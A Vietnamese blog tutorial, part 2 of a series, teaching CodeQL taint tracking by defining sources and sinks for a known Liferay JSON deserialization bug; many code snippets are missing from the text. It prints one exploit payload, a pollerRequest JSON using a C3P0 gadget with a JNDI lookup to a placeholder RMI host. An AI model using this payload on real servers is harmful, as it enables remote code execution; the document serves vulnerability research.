Chào mọi người, mình đã quay trở lại với part 2 đây.

Nếu bạn chưa đọc thì nên đọc qua part 1 trước khi bước vào part 2 này, link bài viết tại đây: https://medium.com/@testbnull/codeql-th%E1%BA%A7n-ch%C6%B0%E1%BB%9Fng-part-1-544a2b0df9d7

Trong phần trước, mình đang dừng lại ở đoạn tìm ra các method call tới JSONFactoryUtil.deserialize(String):

Tuy nhiên như vậy là chưa đủ để trace được từ input tới phần code xảy ra lỗi.

Trong part 2 này mình sẽ viết về TaintTracking, DataFlow tracking, 1 chức năng trong CodeQL cho phép trace data từ phần input cho tới phần bị lỗi, hay còn được gọi là từ source tới sink!

Sẽ có rất nhiều thứ mới mẻ trong phần này nên khuyến cáo bạn đọc hãy đội mũ bảo hiểm vào =)))

###########################################

Để track tainted data từ source tới sink thì CodeQL cung cấp 1 phương pháp đó là Global Taint Tracking (https://help.semmle.com/QL/learn-ql/java/dataflow.html#using-global-taint-tracking)

Đầu tiên là tạo 1 class, có thừa kế từ TaintTracking::Configuration, có dạng như sau:

Với:

  • predicate isSource() dùng để chứa các công thức/ định nghĩa cho source data/ điểm bắt đầu trace tainted data
  • Tương tự với isSink() dùng để xác định sink, điểm kết thúc trace tainted data

#Xác định source/sink

Xem lại bug liferay json deserialization to RCE (tại đây: https://www.facebook.com/notes/nguy%E1%BB%85n-ti%E1%BA%BFn-giang/liferay-story-part-4-v%C3%A0-nh%E1%BB%AFng-c%C3%BA-l%E1%BB%ABa-/2408844002562884/) thì có thể thấy được stacktrace tới bug như sau:

=> Điểm bắt đầu của bug là PollerServlet.service(), và kết thúc tại JSONFactoryImpl.deserialize().

Nhưng để áp dụng được vào CodeQL, thì không thể áp dụng nguyên cái source/sink này vào được.

Chúng ta làm rõ thế nào là tainted data, hiểu sơ sài thì đây là dữ liệu mà người dùng có thể kiểm soát được, thay đổi theo ý muốn, … và được thay đổi để điều khiển luồng thực thi của chương trình.

Taint tracking là việc đi tìm xem tainted data có thể đi được những đâu, đi được bao xa trong chương trình, và có thể đi được tới đích mong muốn hay ko. Giống như việc đổ nước vào miệng phễu để nước chảy xuống chậu, thì phần nước được đổ ở trên miệng phễu được gọi là source, còn phần nước được dẫn tới chậu sau khi có thể đã đi qua nhiều đường ống khác nhau được gọi là sink. (có thể tham khảo thêm tại: https://www.youtube.com/watch?v=ZaOtY4i5w_U).

TaintTracking trong CodeQL cũng hoạt động tương tự như vậy, nó sẽ track tainted data từ khi nó ở source cho tới khi gặp sink.

Quay trở lại với bug của liferay, như đã đề cập phía trên, điểm bắt đầu là tại PollerServlet.service()

Payload được sử dụng để khai thác có dạng:

pollerRequest=[$OPEN_CURLY_BRACE$]"javaClass":"com.mchange.v2.c3p0.jboss.C3P0PooledDataSource","jndiName":"rmi://xxxx:1099/Exploit"[$CLOSE_CURLY_BRACE$]

Nhưng tại PollerServlet.service(), chưa thấy dòng code nào lấy input pollerRequest cả.

Nhảy tiếp vào method getContent(), tại đây pollerRequest đã được lấy ra từ input của người dùng với static method ParamUtil.getString()

=> Tại đây ta có thể xem pollerRequestString là taint data, và đây cũng là phần source cần tìm

#Định nghĩa source

Biết source rồi, nhưng định nghĩa cái predicate isSource() như nào cho đúng??

Vấn đề này mình đã gặp và phải mất một thời gian đọc tham khảo QL đã có thì mới giải quyết được.

predicate isSource() có form như sau:

Có nghĩa là đối số chỉ có dạng DataFlow::Node, muốn làm gì thì làm ¯\_(ツ)_/¯.

Với phần tainted data đã tìm được bên trên:

String pollerRequestString = ParamUtil.

getString

(request, "pollerRequest");

Ta có thể thấy, pollerRequestString là giá trị của 1 method call ParamUtil.getString().

Như trong bài trước mình đã có nói qua về MethodAccess, nó được dùng để định nghĩa các method call, trong phần này mình sẽ dùng nó để xác định được source.

Do các method call tới ParamUtil.getString() đều được sử dụng để lấy input data, hoặc diễn giải bằng CodeQL tương đương như sau:

  • Source chain là 1 method access
  • method được call có tên là getString
  • Class owner của method này có tên ParamUtil

Để đơn giản hơn nữa, mình định nghĩa tường minh 1 class để xác định điều này:

###missing

Nếu bạn đã đọc qua phần trước thì có thể cũng đã quen với cách define 1 class trong CodeQL, nhưng mình vẫn nhắc lại thêm 1 lần nữa!

Ở đây để xác định các method call tới ParamUtil.getString() trong bộ mã nguồn, mình định nghĩa 1 class với tên LiferayParamUtilGetString, thừa kế trực tiếp MethodAccess vì hiện tại mình đang muốn tìm các method call luôn!

Class này có predicate đặc trưng trùng với tên của class, trong này sẽ chứa các công thức/biểu thức để xác định ParamUtil.getString()

Và công thức để xác định nó là:

Mình sử dụng công thức định lượng exists() khá nhiều khi viết QL, cú pháp chung của nó như sau:

exists

(<variable declarations> | <formula>)

Với phần <variable declarations> sẽ là vị trí khai báo các biến sẽ được sử dụng trong công thức. <formula> sẽ là công thức chính để xác định (chi tiết hơn tại đây: https://help.semmle.com/QL/ql-handbook/formulas.html#exists).

Trong công thức định lượng của mình đã khai báo bên trên.

  • MethodAccess ma => Khai báo biến để sử dụng cho công thức phía sau
  • ma.getMethod() => xác định method được call
  • ma.getMethod().hasName(“getString”) => hasName() dùng để xác định tên của method được call này
  • ma.getMethod().getDeclaringType() => xác định class owner của method được call
  • ma.getMethod().getDeclaringType().hasName(“ParamUtil”) => xác định class owner có tên là “ParamUtil”
  • this = ma => với this là biến built-in của class, biến này dùng để xác định class này so với class khác!

CodeQL cung cấp 1 phương pháp gọi là “Quick Evaluation” để thử nhanh query mà mình vừa viết, ví dụ như với 1 query lớn, sẽ cần phải thử nghiệm tính đúng đắn trong từng phần của query trước khi đưa cả query vào chạy. Làm như vậy sẽ tối ưu hóa được thời gian và tài nguyên sử dụng của engine!

Để sử dụng tính năng này, lựa chọn phần công thức cần chạy và chuột phải > chọn Quick Evaluation

Ví dụ như trường hợp của mình, công thức định lượng để xác định được method call là exists(), cho nên mình sẽ chọn phần công thức này và Quick Eval:

Và kết quả trả về là 1307 method call tới ParamUtil.getString():

Thực ra class để xác định method call tới ParamUtil.getString() có thể viết bằng nhiều cách, ví dụ như cách định nghĩa như sau cũng vẫn đúng:

#####missing

Cách viết chỉ phụ thuộc vào bạn đã hiểu cách viết CodeQL hay chưa, và tư duy viết code của bạn như thế nào thôi!

Khi đọc bài viết này, hãy tự tìm hiểu và viết QL theo cách riêng của bạn, như vậy mới chứng minh được là bạn đã thực sự hiểu!

Quay trở lại với predicate isSource(),

Predicate này nhận vào 1 đối số với kiểu DataFlow::Node,

Kết hợp với phần định nghĩa của ParamUtil.getString(), predicate hoàn thiện sẽ có dạng như sau:

Phần QL mình thêm vào vẻn vẹn chỉ có 1 dòng nhưng nó khá là lắt léo để giải thích =))).

Bắt đầu với thứ đơn giản trước:

“instanceof” trong CodeQL có cú pháp như sau:

ObjectA

instanceof

ClassB

Để xác định xem ObjectA có phải là object nào của ClassB hay không (tương tự như instanceof của java: https://www.javatpoint.com/downcasting-with-instanceof-operator)

Tiếp tới là DataFlow::Node

CodeQL coi mỗi phần tử trong data flow graph là 1 DataFlow::Node, mỗi node này có thể là 1 biểu thức, 1 tham số, hoặc 1 đối số!

Việc taint tracking giống như trong hình (b), sẽ đi từ 1 Node đầu, qua n node trung gian và kết thúc tại Node 11.

Như vậy cũng giải thích lý do tại sao predicate isSource() lại có đối số là 1 DataFlow::Node!

Trong phần declaration của DataFlow::Node có các predicate sau:

Chú ý tới predicate asExpr()asParameter(), các predicate này dùng để xác định rõ Node hiện tại đang là 1 biểu thức hay là 1 tham số (Standard library của CodeQL được comment rất rõ, nên đọc comment này để hiểu rõ tính năng của từng phần!)

Quay trở lại với phần định nghĩa predicate isSource():

  • source.asExpr() sẽ trả về 1 Expr
  • source.asExpr().(MethodAccess) dùng để ép kiểu MethodAccess cụ thể cho Expr vừa rồi!

Có thể ép kiểu được như vậy là do MethodAccess thừa kế Expr (giống y hệt trong java, đọc thêm tại đây: https://help.semmle.com/QL/ql-handbook/expressions.html#casts):

=> Từ những thông tin bên trên, có thể diễn giải phần định nghĩa source của mình như sau:

  • Lấy 1 Node nào đó, là 1 biểu thức, có dạng method call và là 1 method call tới ParamUtil.getString()

¯\_(ツ)_/¯ Mình đã diễn giải hết sức, bạn đọc vẫn cảm thấy bối rối thì cũng là do mình văn chương kém thôi…

Để kiểm tra tính đúng đắn của source, có thể bôi đen/lựa chọn phần công thức bên trong predicate và Quick Eval:

Kết quả được đúng 1307 method call như dự tính!

#Định nghĩa sink

Phần sink thì mình đã có nói trong bài trước, đó chính là method JsonDeserializeMethod, mình ko nhắc lại nữa.

Ta có thể thấy tainted data sẽ tới sink method và được truyền vào như 1 đối số của method này:

Sink method mình có định nghĩa như sau:

Có thể bạn đã quen với dạng định nghĩa như này rồi,

  • ma.getMethod() instanceof JsonDeserializeMethod: xác định method call tới JSONFactoryUtil.deserialize()
  • sink.asExpr() => giống như đã giải thích ở phía trên, sink ở đây cũng là 1 Node trong data flow graph, cần tìm 1 sink có dạng Expr
  • ma.getAnArgument(): lấy về các đối số được cấp cho method được call tại đây

Phần define sink này có thể diễn giải ngắn gọn dưới dạng văn chương như sau:

  • Tìm tất cả đối số được truyền vào JSONFactoryUtil.deserialize()

Như vậy là đã xong phần định nghĩa TaintTracking config, cuối cùng nó sẽ có dạng như sau:

  • Side note:

Phần select clause phía dưới bắt buộc phải theo dạng như vậy, chỉ có phần String ở cuối là có thể thay đổi tùy ý thôi. Thay đổi linh tinh là nó ko còn ra dạng path problem nữa =)))

Chạy query và tận hưởng thành quả thôi …

=))) And we got zero result …


Bình tĩnh, tới đây chưa phải là hết, =)) hẹn gặp lại trong phần 3 để biết về cách debug và tìm lỗi …

__Jang of VNPT__

bonus tí nhạc nhẽo cho sôi động: https://www.youtube.com/watch?v=ErhGuwNgrmw =)))

1.321 lượt xem